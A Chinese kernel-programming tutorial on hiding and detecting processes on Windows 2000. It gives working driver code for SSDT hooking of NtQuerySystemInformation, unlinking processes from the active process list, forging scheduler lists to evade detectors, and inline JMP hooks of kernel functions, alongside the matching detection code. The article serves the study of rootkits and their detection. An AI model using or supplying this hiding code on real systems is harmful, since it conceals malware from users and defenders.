通過Hook SSDT (System Service Dispatch Table) 隱藏進程
1.原理介紹:
Windows操作系統是一種分層的架構體系。應用層的程序是通過API來訪問操作系統。而API又是通過ntdll里面的核心API來進行系統服務的查詢。核心API通過對int 2e的切換,從用戶模式轉換到內核模式。2Eh中斷的功能是通過NTOSKRNL.EXE的一個函數KiSystemService()來實現的。在你使用了一個系統調用時,必須首先裝載要調用的函數索引號到EAX寄存器中。把指向參數區的指針被保存在EDX寄存器中。中斷調用后,EAX寄存器保存了返回的結果。KiSystemService()是根據EAX的值來決定哪個函數將被調用。而系統在SSDT中維持了一個數組,專門用來索引特定的函數服務地址。在Windows 2000中有一個未公開的由ntoskrnl.exe導出的KeServiceDescriptorTable變量,我們可以通過它來完成對SSDT的訪問與修改。KeServiceDescriptorTable對應於一個數據結構,定義如下:
typedef struct SystemServiceDescriptorTable
{
UINT *ServiceTableBase;
UINT *ServiceCounterTableBase;
UINT NumberOfService;
UCHAR *ParameterTableBase;
}SystemServiceDescriptorTable,*PSystemServiceDescriptorTable;
其中ServiceTableBase指向系統服務程序的地址(SSDT),ParameterTableBase則指向SSPT中的參數地址,它們都包含了NumberOfService這么多個數組單元。在windows 2000 sp4中NumberOfService的數目是248個。
我們的任務管理器,是通過用戶層的API來枚舉當前的進程的。Ring3級枚舉的方法:
" PSAPI
– EnumProcesses()
" ToolHelp32
– Process32First()
- Process32Next()
來對進程進行枚舉。而她們最后都是通過NtQuerySystemInformation來進行查詢的。所以我們只需要Hook掉NtQuerySystemInformation,把真實NtQuerySystemInformation返回的數進行添加或者是刪改,就能有效的欺騙上層API。從而達到隱藏特定進程的目的。
2. Hook
Windows2000中NtQuerySystemInformation在SSDT里面的索引號是0x97,所以只需要把SSDT中偏移0x97*4處把原來的一個DWORD類型的讀出來保存一個全局變量中然后再把她重新賦值成一個新的Hook函數的地址,就完成了Hook。
OldFuncAddress = KeServiceDescriptorTable-> ServiceCounterTableBase[0x97];
KeServiceDescriptorTable-> ServiceCounterTableBase[0x97] = NewFuncAddress;
在其他系統中這個號就不一定一樣。所以必須找一種通用的辦法來得到這個索引號。在《Undocument Nt》中介紹了一種辦法可以解決這個通用問題,從未有效的避免了使用硬編碼。在ntoskrnl 導出的 ZwQuerySystemInformation中包含有索引號的硬編碼:
kd> u ZwQuerySystemInformation
804011aa b897000000 mov eax,0x97
804011af 8d542404 lea edx,[esp+0x4]
804011b3 cd2e int 2e
804011b5 c21000 ret 0x10
所以只需要把ZwQuerySystemInformation入口處的第二個字節取出來就能得到相應的索引號了。例如:
ID = *(PULONG)((PUCHAR)ZwQuerySystemInformation+1);
RealZwQuerySystemInformation=((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID]);
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[ID] = HookZwQuerySystemInformation;
3.對NtQuerySystemInformation返回的數據進行刪改
NtQuerySystemInformation的原型:
NtQuerySystemInformation(
IN ULONG SystemInformationClass, //查詢系統服務類型
IN PVOID SystemInformation, //接收系統信息緩沖區
IN ULONG SystemInformationLength, //接收信息緩沖區大小
OUT PULONG ReturnLength); //實際接收到的大小
NtQuerySystemInformation可以對系統的很多狀態進行查詢,不僅僅是對進程的查詢,通過SystemInformationClass號來區分功能,當SystemInformationClass等於5的時候是在進行進程的查詢。此時返回的SystemInformation 是一個 _SYSTEM_PROCESSES結構。
struct _SYSTEM_PROCESSES
{
ULONG NextEntryDelta; //下一個進程信息的偏移量,如果為0表示無一個進程信息
ULONG ThreadCount; //線程數量
ULONG Reserved[6]; //
LARGE_INTEGER CreateTime; //創建進程的時間
LARGE_INTEGER UserTime; //進程中所有線程在用戶模式運行時間的總和
LARGE_INTEGER KernelTime; //進程中所有線程在內核模式運行時間的總和
UNICODE_STRING ProcessName; //進程的名字
KPRIORITY BasePriority; //線程的缺省優先級
ULONG ProcessId; //進程ID號
ULONG InheritedFromProcessId; //繼承語柄的進程ID號
ULONG HandleCount; //進程打開的語柄數量
ULONG Reserved2[2]; //
VM_COUNTERS VmCounters; //虛擬內存的使用情況統計
IO_COUNTERS IoCounters; //IO操作的統計,Only For 2000
struct _SYSTEM_THREADS Threads[1]; //描述進程中各線程的數組
};
當NextEntryDelta域等於0時表示已經到了進程信息鏈的末尾。我們要做的僅僅是把要隱藏的進程從鏈中刪除。
--------------------------------------------------Xfocus上SoBeIt提出了繞過內核調度鏈表進程檢測。詳情可以參見原文:
4. 核心實現
//系統服務表入口地址
extern PServiceDescriptorTableEntry KeServiceDescriptorTable;
NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath)
{
……
__asm{
mov eax, cr0
mov CR0VALUE, eax
and eax, 0fffeffffh //DisableWriteProtect
mov cr0, eax
}
//取得原來ZwQuerySystemInformation的入口地址
RealZwQuerySystemInformation=(REALZWQUERYSYSTEMINFORMATION)(((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] );
//Hook
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)]=HookFunc;
//EnableWriteProtect
__asm
{
mov eax, CR0VALUE
mov cr0, eax
}
……
return STATUS_SUCCESS;
}
VOID DriverUnload (IN PDRIVER_OBJECT pDriverObject)
{
……
//UnHook恢復系統服務的原始入口地址
((PServiceDescriptorTableEntry)KeServiceDescriptorTable)->ServiceTableBase[*(PULONG)((PUCHAR)ZwQuerySystemInformation+1)] = RealZwQuerySystemInformation;
……
}
NTSTATUS HookFunc(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS rc;
struct _SYSTEM_PROCESSES *curr;
// 保存上一個進程信息的指針
struct _SYSTEM_PROCESSES *prev = NULL;
//調用原函數
rc = (RealZwQuerySystemInformation) (
SystemInformationClass,
SystemInformation,
SystemInformationLength, ReturnLength);
if(NT_SUCCESS(rc))
{
if(5 == SystemInformationClass)
//如果系統查詢類型是SystemProcessesAndThreadsInformation
{
curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
//加第一個偏移量得到第一個system進程的信息首地址
if(curr->NextEntryDelta)((char *)curr += curr->NextEntryDelta);
while(curr)
{
if(RtlCompareUnicodeString(&hide_process_name, &curr->ProcessName, 1) == 0)
{
//找到要隱藏的進程
if(prev)
{
if(curr->NextEntryDelta)
{
//要刪除的信息在中間
prev->NextEntryDelta += curr->NextEntryDelta;
}
else
{
//要刪除的信息在末尾
prev->NextEntryDelta = 0;
}
}
else
{
if(curr->NextEntryDelta)
{
//要刪除的信息在開頭
(char *)SystemInformation += curr->NextEntryDelta;
}
else
{
SystemInformation = NULL;
}
}
//如果鏈下一個還有其他的進程信息,指針往后移
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta); else
{
curr = NULL;
break;
}
}
if(curr != NULL)
{
//把當前指針設置成前一個指針,當前指針后移
prev = curr;
if(curr->NextEntryDelta)
((char*)curr+=curr->NextEntryDelta);
else curr = NULL;
}
} // end while(curr)
}
}
return rc;
}
通過IOCTL和Ring3級的應用程序通過DeviceIoControl(API)交互信息。Ring3級的用戶程序使用,
DeviceIoControl(Handle,IOCTL_EVENT_MSG,ProcessName,ProcessNameLen,
NULL,0,& BytesReturned,NULL)來通知驅動程序要隱藏的進程的名字。
枚舉和修改活動進程鏈表來檢測和隱藏進程
1. 介紹EPROCESS塊(進程執行塊)
每個進程都由一個EPROCESS塊來表示。EPROCESS塊中不僅包含了進程相關了很多信息,還有很多指向其他相關結構數據結構的指針。例如每一個進程里面都至少有一個ETHREAD塊表示的線程。進程的名字,和在用戶空間的PEB(進程環境)塊等等。EPROCESS中除了PEB成員塊在是用戶空間,其他都是在系統空間中的。
2. 查看EPROCESS結構
kd> !processfields
!processfields
EPROCESS structure offsets:
Pcb: 0x0
ExitStatus: 0x6c
LockEvent: 0x70
LockCount: 0x80
CreateTime: 0x88
ExitTime: 0x90
LockOwner: 0x98
UniqueProcessId: 0x9c
ActiveProcessLinks: 0xa0
QuotaPeakPoolUsage[0]: 0xa8
QuotaPoolUsage[0]: 0xb0
PagefileUsage: 0xb8
CommitCharge: 0xbc
PeakPagefileUsage: 0xc0
PeakVirtualSize: 0xc4
VirtualSize: 0xc8
Vm: 0xd0
DebugPort: 0x120
ExceptionPort: 0x124
ObjectTable: 0x128
Token: 0x12c
WorkingSetLock: 0x130
WorkingSetPage: 0x150
ProcessOutswapEnabled: 0x154
ProcessOutswapped: 0x155
AddressSpaceInitialized: 0x156
AddressSpaceDeleted: 0x157
AddressCreationLock: 0x158
ForkInProgress: 0x17c
VmOperation: 0x180
VmOperationEvent: 0x184
PageDirectoryPte: 0x1f0
LastFaultCount: 0x18c
VadRoot: 0x194
VadHint: 0x198
CloneRoot: 0x19c
NumberOfPrivatePages: 0x1a0
NumberOfLockedPages: 0x1a4
ForkWasSuccessful: 0x182
ExitProcessCalled: 0x1aa
CreateProcessReported: 0x1ab
SectionHandle: 0x1ac
Peb: 0x1b0
SectionBaseAddress: 0x1b4
QuotaBlock: 0x1b8
LastThreadExitStatus: 0x1bc
WorkingSetWatch: 0x1c0
InheritedFromUniqueProcessId: 0x1c8
GrantedAccess: 0x1cc
DefaultHardErrorProcessing 0x1d0
LdtInformation: 0x1d4
VadFreeHint: 0x1d8
VdmObjects: 0x1dc
DeviceMap: 0x1e0
ImageFileName[0]: 0x1fc
VmTrimFaultValue: 0x20c
Win32Process: 0x214
Win32WindowStation: 0x1c4
3. 什么是活動進程鏈表
EPROCESS塊中有一個ActiveProcessLinks成員,它是一個PLIST_ENTRY機構的雙向鏈表。當一個新進程建立的時候父進程負責完成EPROCESS塊,然后把ActiveProcessLinks鏈接到一個全局內核變量PsActiveProcessHead鏈表中。
在PspCreateProcess內核API中能清晰的找到:
InsertTailList(&PsActiveProcessHead,&Process->ActiveProcessLinks);
當進程結束的時候,該進程的EPROCESS結構當從活動進程鏈上摘除。(但是EPROCESS結構不一定就馬上釋放)。
在PspExitProcess內核API中能清晰的找到:
RemoveEntryList(&Process->ActiveProcessLinks);
所以我們完全可以利用活動進程鏈表來對進程進行枚舉。
4. 進程枚舉檢測Hook SSDT隱藏的進程。
事實上Nactive API ZwQuerySystemInformation 對進程查詢也是找到活動進程鏈表頭,然后遍歷活動進程鏈。最后把每一個EPROCESS中包含的基本信息返回(包括進程ID名字等)。所以用遍歷活動進程鏈表的辦法能有效的把Hook SSDT進行隱藏的進程輕而易舉的查出來。但是PsActiveProcessHead並沒被ntoskrnl.exe 導出來,所以我們可以利用硬編碼的辦法,來解決這個問題。利用內核調試器livekd查得PsActiveProcessHead的地址為: 0x8046e460.(在2000 sp4中得到的值)
kd> dd PsActiveProcessHead L 2
dd PsActiveProcessHead L 2
8046e460 81829780 ff2f4c80
PLIST_ENTRY PsActiveProcessHead = (PLIST_ENTRY)0x8046e460;
void DisplayList()
{
PLIST_ENTRY List = PsActiveProcessHead->Blink;
while( List != PsActiveProcessHead )
{
char* name = ((char*)List-0xa0)+0x1fc;
DbgPrint("name = %s\n",name);
List=List->Blink;
}
}
首先把List指向表頭后的第一個元素。然后減去0xa0,因為這個時候List指向的並不是EPROCESS塊的頭,而是指向的它的ActiveProcessLinks成員結構,而ActiveProcessLinks在EPROCESS中的偏移量是0xa0,所以需要減去這么多,得到EPROCESS的頭部。在EPROCESS偏移0x1fc處是進程的名字信息,所以再加上0x1fc得到進程名字,並且在Dbgview中打印出來。利用Hook SSDT隱藏的進程很容易就被查出來了。
5. 解決硬編碼問題。
在上面我們的PsActiveProcessHead是通過硬編碼的形式得到的,在不同的系統中這
值不一樣。在不同的SP版本中這個值一般也不一樣。這就給程序的通用性帶來了很大的問題。下面就來解決這個PsActiveProcessHead的硬編碼的問題。
ntoskrnl.exe導出的PsInitialSystemProcess 是一個指向system進程的EPROCESS。這個結構成員EPROCESS.ActiveProcessLinks.Blink就是指向PsActiveProcessHead的.
kd> dd PsInitialSystemProcess L 1
dd PsInitialSystemProcess L 1
8046e450 818296e0
kd> !process 818296e0 0
!process 818296e0 0
PROCESS 818296e0 SessionId: 0 Cid: 0008 Peb: 00000000 ParentCid: 0000
DirBase: 00030000 ObjectTable: 8185d148 TableSize: 141.
Image: System
可以看出由PsInitialSystemProcess得到的818296e0正是指向System的EPROCESS.
kd> dd 818296e0+0xa0 L 2
dd 818296e0+0xa0 L 2
81829780 814d1a00 8046e460
上面又可以看出System EPROCESS的ActiveProcessLinks域的Blink指向8046e460正好就是我們的PsActiveProcessHead.
http://www.xfocus.net/articles/200404/693.html
-------------------------------------
6. 刪除活動進程鏈表實現進程隱藏
由於Windows是基於線程調度的。所以如果我們把要隱藏的進程的EPROCESS塊從活動進程鏈上摘除,就能有效的繞過基於通過活動進程鏈表檢測進程的防御系統。因為是以線程為基本單位進行調度,所以摘除過后並不影響隱藏進程的線程調度。
void DelProcessList()
{
PLIST_ENTRY List = PsActiveProcessHead->Blink;
while( List != PsActiveProcessHead )
{
char* name = ((char*)List-0xa0)+0x1fc;
if ( !_stricmp(name,"winlogon.exe") )
{
DbgPrint("remove %s \n",name);
RemoveEntryList(List);
}
List=List->Blink;
}
}
首先和上面的程序一樣得到PsActiveProcessHead 頭的后面第一個EPROCESS塊。然后和我們要隱藏的進程名字進行對比,如果不是指針延鏈下移動。如果是就把EPROCESS塊從活動進程鏈上摘除。一直到遍歷完一次活動進程的雙向鏈表。當摘除指定進程的EPROCESS塊后可以發現任務管理器里面的指定的進程消失了,然后又用上面的基於活動進程鏈表檢測進程的程序一樣的發現不到隱藏的進程。
------------------------------
基於線程調度鏈表的檢測和隱藏技術
1. 什么是ETHREAD和KTHREAD塊
Windows2000是由執行程序線程(ETHREAD)塊表示的,ETHREAD成員都是指向的系統空
間,進程環境塊(TEB)除外。ETHREAD塊中的第一個結構體就是內核線程(KTHREAD)塊。在KTHREAD塊中包含了windows2000內核需要訪問的信息。這些信息用於執行線程的調度和同步正在運行的線程。
kd> !kthread
struct _KTHREAD (sizeof=432)
+000 struct _DISPATCHER_HEADER Header
+010 struct _LIST_ENTRY MutantListHead
+018 void *InitialStack
+01c void *StackLimit
+020 void *Teb
+024 void *TlsArray
+028 void *KernelStack
+02c byte DebugActive
+02d byte State
+02e byte Alerted[2]
+030 byte Iopl
+031 byte NpxState
+032 char Saturation
+033 char Priority
+034 struct _KAPC_STATE ApcState
+034 struct _LIST_ENTRY ApcListHead[2]
+044 struct _KPROCESS *Process
+04c uint32 ContextSwitches
+050 int32 WaitStatus
+054 byte WaitIrql
+055 char WaitMode
+056 byte WaitNext
+057 byte WaitReason
+058 struct _KWAIT_BLOCK *WaitBlockList
+05c struct _LIST_ENTRY WaitListEntry
+064 uint32 WaitTime
+068 char BasePriority
+069 byte DecrementCount
+06a char PriorityDecrement
+06b char Quantum
+06c struct _KWAIT_BLOCK WaitBlock[4]
+0cc void *LegoData
+0d0 uint32 KernelApcDisable
+0d4 uint32 UserAffinity
+0d8 byte SystemAffinityActive
+0d9 byte PowerState
+0da byte NpxIrql
+0db byte Pad[1]
+0dc void *ServiceTable
+0e0 struct _KQUEUE *Queue
+0e4 uint32 ApcQueueLock
+0e8 struct _KTIMER Timer
+110 struct _LIST_ENTRY QueueListEntry
+118 uint32 Affinity
+11c byte Preempted
+11d byte ProcessReadyQueue
+11e byte KernelStackResident
+11f byte NextProcessor
+120 void *CallbackStack
+124 void *Win32Thread
+128 struct _KTRAP_FRAME *TrapFrame
+12c struct _KAPC_STATE *ApcStatePointer[2]
+134 char PreviousMode
+135 byte EnableStackSwap
+136 byte LargeStack
+137 byte ResourceIndex
+138 uint32 KernelTime
+13c uint32 UserTime
+140 struct _KAPC_STATE SavedApcState
+158 byte Alertable
+159 byte ApcStateIndex
+15a byte ApcQueueable
+15b byte AutoAlignment
+15c void *StackBase
+160 struct _KAPC SuspendApc
+190 struct _KSEMAPHORE SuspendSemaphore
+1a4 struct _LIST_ENTRY ThreadListEntry
+1ac char FreezeCount
+1ad char SuspendCount
+1ae byte IdealProcessor
+1af byte DisableBoost
在偏移0x5c處有一個WaitListEntry成員,這個就是用來鏈接到線程調度鏈表的。在偏移0x34處有一個ApcState成員結構,在ApcState中的Process域就是指向當前線程關聯的進程的KPROCESS塊,由於KPROCESS塊是EPROCESS塊的第一個元素,所以找到了KPROCESS塊指針也就是找到了EPROCESS塊的指針。找到了EPROCESS就不用多少了,就可以取得當前線程的進程的名字,ID號等。
2. 線程調度
在windows系統中,線程調度主要分成三條主要的調度鏈表。分別是KiWaitInListHead,
KiWaitOutListhead,KiDispatcherReadyListHead,分別是兩條阻塞鏈,一條就緒鏈表,當線程獲得CPU執行的時候,系統分配一個時間片給線程,當發生一次時鍾中斷就從分配的時間片上減去一個時鍾中斷的值,如果這個值小於零了也就是時間片用完了,那么這個線程根據其優先級載入到相應的就緒隊列末尾。KiDispatcherReadyListHead是一個數組鏈的頭部,在windows 2000中它包含有32個隊列,分別對應線程的32個優先級。如果線程因為同步,或者是對外設請求,那么阻塞線程,讓出CPU的所有權,加如到阻塞隊列里面去。CPU從就緒隊列里面,按照優先權的前后,重新調度新的線程的執行。當阻塞隊列里面的線程獲得所需求的資源,或者是同步完成就又重新加到就緒隊列里面等待執行。
3. 通過線程調度鏈表進行隱藏進程的檢測
void DisplayList(PLIST_ENTRY ListHead)
{
PLIST_ENTRY List = ListHead->Flink;
if ( List == ListHead )
{
// DbgPrint("return\n");
return;
}
PLIST_ENTRY NextList = List;
while ( NextList != ListHead )
{
PKTHREAD Thread = ONTAINING_RECORD(NextList, KTHREAD, WaitListEntry);
PKPROCESS Process = Thread->ApcState.Process;
PEPROCESS pEprocess = (PEPROCESS)Process;
DbgPrint("ImageFileName = %s \n",pEprocess->ImageFileName);
NextList = NextList->Flink;
}
}
以上是對一條鏈進行進程枚舉。所以我們必須找到KiWaitInListHead,KiWaitOutListhead,KiDispatcherReadyListHead的地址,由於他們都沒有被ntoskrnl.exe導出來,所以只有通過硬編碼的辦法給他們賦值。通過內核調試器,能找到(windows2000 sp4):
PLIST_ENTRY KiWaitInListHead = (PLIST_ENTRY)0x80482258;
PLIST_ENTRY KiDispatcherReadyListHead = (PLIST_ENTRY)0x804822e0;
PLIST_ENTRY KiWaitOutListhead = (PLIST_ENTRY)0x80482808;
遍歷所有的線程調度鏈表。
for ( i =0; i<32 ;i++ )
{
DisplayList(KiDispatcherReadyListHead+i);
}
DisplayList(KiWaitInListHead);
DisplayList(KiWaitOutListhead);
通過上面的那一小段核心代碼就能把刪除活動進程鏈表的隱藏進程給查出來。也可以改寫一個友好一點的驅動,加入IOCTL,得到的進程信息把打印在DbgView中把它返回給Ring3的應用程序,然后應用程序對返回的數據進行處理,和Ring3級由PSAPI得到的進程對比,然后判斷是不是有隱藏的進程。
--------------------------------------
-----------------------------
由於現在的基於線程調度的檢測系統都是通過內核調試器得硬編碼來枚舉所有的調度線程的,所以我們完全可以自己創造一個那三個調度鏈表頭,然后把原鏈表頭從鏈中斷開,把自己的申請的鏈表頭接上去。由於線程調度的時候會用到KiFindReadyThread等內核API,在KiFindReadyThread里面又會去訪問KiDispatcherReadyListHead,所以我完全可以把KiFindReadyThread中那段訪問KiDispatcherReadyListHead的機器碼修改了,把原KiDispatcherReadyListHead的地址改成我們新申請的頭。
kd> u KiFindReadyThread+0x48
nt!KiFindReadyThread+0x48:
804313db 8d34d5e0224880 lea esi,[nt!KiDispatcherReadyListHead (804822e0)+edx*8]
很明顯我們可以在機器碼中看到e0224880,由於它是在內存中以byte序列顯示的轉換成DWORD就是804822e0就是我們KiDispatcherReadyListHead的地址。所以我們要做的就是把[804313db+3]賦值成我們自己申請的一個鏈頭。使其系統以后對原鏈表頭的操作變化成對我們自己申請的鏈表頭的操作。同理用到那三個鏈表頭的還有一些內核API,所以必須找到他們在機器碼中含有原表頭地址信息的具體地址然后把它全部替換掉。不然系統調度就會出錯.系統中用到KiWaitInListHead的例程:KeWaitForSingleObject、 KeWaitForMultipleObject、 KeDelayExecutionThread、 KiOutSwapKernelStacks。用到KiWaitOutListHead的例程和KiWaitInListHead的一樣。使用KiDispatcherReadyListHead的例程有:KeSetAffinityThread、KiFindReadyThread、KiReadyThread、KiSetPriorityThread、NtYieldExecution、KiScanReadyQueues、KiSwapThread。
申請新的表頭空間:
pNewKiWaitInListHead = (PLIST_ENTRY)ExAllocatePool \
(NonPagedPool,sizeof(LIST_ENTRY));
pNewKiWaitOutListHead = (PLIST_ENTRY)ExAllocatePool \
(NonPagedPool, sizeof(LIST_ENTRY));
pNewKiDispatcherReadyListHead = (PLIST_ENTRY)ExAllocatePool \
(NonPagedPool, 32 * sizeof(LIST_ENTRY));
下面僅僅以pNewKiWaitInListHead頭為例,其他的表頭都是一樣的操作。
新調度鏈表的表頭替換:
InitializeListHead(pNewKiWaitInListHead);
把原來的系統鏈表頭摘除,把新的接上去:
pFirstEntry = pKiWaitInListHead->Flink;
pLastEntry = pKiWaitInListHead->Blink;
pNewKiWaitInListHead->Flink = pFirstEntry;
pNewKiWaitInListHead->Blink = pLastEntry;
pFirstEntry->Blink = pNewKiWaitInListHead;
pLastEntry->Flink = pNewKiWaitInListHead;
剩下的就是在原來的線程調度鏈表上做文章了使其基於線程調度檢測系統看不出什么異端.
for(;;)
{
InitializeListHead(pKiWaitInListHead);
for(pEntry = pNewKiWaitInListHead->Flink;
pEntry && pEntry != pNewKiWaitInListHead;
pEntry = pEntry->Flink)
{
pETHREAD = (PETHREAD)(((PCHAR)pEntry)-0x5c);
pEPROCESS = (PEPROCESS)(pETHREAD->Tcb.ApcState.Process);
PID = *(PULONG)(((PCHAR)pEPROCESS)+0x9c);
if(PID == 0x8)
continue;
pFakeETHREAD = ExAllocatePool(PagedPool,sizeof(FAKE_ETHREAD));
memcpy(pFakeETHREAD, pETHREAD,sizeof(FAKE_ETHREAD));
InsertHeadList(pKiWaitInListHead, &pFakeETHREAD->WaitListEntry);
}
...休息一段時間
}
首先每過一小段時間就把原來的線程調度鏈表清空,然后遍歷當前的線程調度鏈,判斷鏈中的每一個KPROCESS塊是不是要屬於要隱藏的進程線程,如果是就跳過,不是就自己構造一個ETHREAD塊把當前的信息拷貝過去,然后把自己構造的ETHREAD塊加入到原來的調度鏈表中。為什么要自己構造一個ETHREAD?其原因主要有2個,其一為了使檢測系統看起來更可信,如果僅僅清空原來的線程調度鏈表那么檢測系統將查不出來任何的線程和進程信息,
很明顯,這無疑不打自招的說,系統里面已經有東西了。其二,如果把自己構造的ETHREAD塊掛接在原調度鏈表中,檢測系統會訪問掛在原來調度鏈表上的ETHREAD塊里面的成員,如果不自己構造一個和真實ETHREAD塊重要信息一樣的塊,那么檢測系統很有可能出現非法訪問,然后就boom蘭屏了。
實際上所謂的繞過系統檢測僅僅是針對基於線程調度的檢測進程的防御系統而言的,其實系統依舊在進行線程調度,訪問的是我們新建的鏈表頭部。而檢測系統訪問的是原來的頭部,他后面的數據項是我們自己申請的,系統並不訪問。
5. 檢測繞過內核調度鏈表隱藏進程
一般情況下我們是通過內核調試器得到那三條鏈表的內核地址,然后進行枚舉。這就給隱藏者留下了機會,如上面所示。但是我們完全可以把上面那種隱藏進程檢測出來。我們也通過在內核函數中取得硬編碼的辦法來分別取得他們的鏈表頭的地址。如上面我們已經看見了 KiFindReadyThread+0x48+3出就是KiDispatcherReadyListHead的地址,如果用上面的繞過內核調度鏈表檢測辦法同時也去要修改KiFindReadyThread+0x48+3的值為新鏈表的頭部地址。所以我們的檢測系統完全可以從KiFindReadyThread+0x48+3(0x804313de)去取得KiDispatcherReadyListHead的值。同理KiWaitInListHead, KiWaitOutListhead也都到使用他們的相應的內核函數里面去取得地址。就算原地址被修改過,我們也能把修改過后的調度鏈表頭給找出來。所以欺騙就不行了。
-----------------------
Hook 內核函數(KiReadyThread)檢測進程
1. 介紹通用Hook內核函數的方法
當我們要攔截目標函數的時候,只要修改原函數頭5個字節的機器代碼為一個JMP XXXXXXXX(XXXXXXXX是距自己的Hook函數的偏移量)就行了。並且保存原來修改前的5個字節。在跳入原函數時,恢復那5個字節即可。
char JmpMyCode [] = {0xE9,0x00,0x00,0x00,0x00};//E9對應Jmp偏移量指令
*((ULONG*)(JmpMyCode+1))=(ULONG)MyFunc-(ULONG)OrgDestFunction-5;//獲得偏移量
memcpy(OrgCode,(char*)OrgDestFunction,5);//保存原來的代碼
memcpy((char*)OrgDestFunction,JmpMyCode,5);//覆蓋前一個命令為一個跳轉指令
在系統內核級中,MS的很多信息都沒公開,包括函數的參數數目,每個參數的類型等。在系統內核中,訪問了大量的寄存器,而很多寄存器的值,是上層調用者提供的。如果值改變系統就會變得不穩定。很可能出現不可想象的后果。另外有時候對需要Hook的函數的參數不了解,所以不能隨便就去改變它的堆棧,如果不小心也有可能導致藍屏。所以Hook的最佳原則是在自己的Hook函數中呼叫原函數的時候,所有的寄存器值,堆棧里面的值和Hook前的信息一樣。這樣就能保證在原函數中不會出錯。一般我們自己的Hook的函數都是寫在C文件里面的。例如Hook的目標函數KiReadyThread。那么一般就自己實現一個:
MyKiReadyThread(...)
{
......
call KiReadyThread
......
}
但是用C編譯器編譯出來的代碼會出現一個堆棧幀:
Push ebp
mov ebp,esp
這就和我們的初衷不改變寄存器的數違背了。所以我們可以自己用匯編來實MyKiReadyThread。
_MyKiReadyThread @0 proc
pushad ;保存通用寄存器
call _cfunc@0 ;這里是在進入原來函數前進行的一些處理。
popad ;恢復通用寄存器
push eax
mov eax,[esp+4] ;得到系統在call 目標函數時入棧的返回地址。
mov ds:_OrgRet,eax ;保存在一個臨時變量中
pop eax
mov [esp],retaddr ;把目標函數的返回地址改成自己的代碼空間的返回地址,使其返回后能接手繼續的處理
jmp _OrgDestFunction ;跳到原目標函數中
retaddr:
pushad ;原函數處理完后保存寄存器
call _HookDestFunction@0 ;再Hook
popad ;回復寄存器
jmp ds:_OrgRet ;跳到系統調用目標函數的下一條指令。
_MyKiReadyThread@0 endp
在實現了Hook過后在當調用原來的函數時(jmp _OrgDestFunction),這個時候所以寄存器的值和堆棧信息和沒Hook的時候一樣。在返回到系統的時候(jmp ds:_OrgRet),這個時候的堆棧信息和寄存器的值和沒有Hook的時候也是一樣。就說是中間Hook層對下面和上面都是透明的。
2. 檢測隱藏進程
在線程調度搶占的的時候會調用KiReadyThread,它的原型為:
VOID FASTCALL KiReadyThread (IN PRKTHREAD Thread);
在進入KiReadyThread時,ecx指向Thread。所以完全可以Hook KiReadyThread 然后用ecx的值得到但前線程的進程信息。KiReadyThread沒被ntosknrl.exe導出,所以通過硬編碼來。在2000Sp4中地址為0x8043141f。
void cfunc (void)
{
ULONG PKHeader=0;
__asm
{
mov PKHeader,ecx //ecx寄存器是KiReadyThread中的PRKTHREAD參數
}
ResumeDestFunction(); //恢復頭5個字節
if ( PKHeader != 0 )
{
DisplayName((PKTHREAD)PKHeader);
}
}
cfun是Hook函數調用用來得到當前線程搶占的進程信息的。
void DisplayName(PKTHREAD Thread)
{
PKPROCESS Process = Thread->ApcState.Process;
PEPROCESS pEprocess = (PEPROCESS)Process;
DbgPrint("ImageFileName = %s \n",pEprocess->ImageFileName);
}
void HookDestFunction() //設置頭個字節為一個跳轉指令,跳到自己的函數中去
{
DisableWriteProtect(&orgcr0);
memcpy((char*)OrgDestFunction,JmpMyCode,5);
EnableWriteProtect(orgcr0);
}
void ResumeDestFunction() //恢復頭5個字節
{
DisableWriteProtect(&orgcr0);
memcpy((char*)OrgDestFunction,OrgCode,5);
EnableWriteProtect(orgcr0);
}
除了KiReadyThread其他還可以Hook其他內核函數,只有hook過后能得到線程或者是進程的ETHREAD或者是EPROCESS結構頭地址。其Hook的方法都是一樣的。Hook KiReadyThread基本原來說明了,詳細實現可以見我的另外一篇文章《內核級利用通用Hook函數方法檢測進程》。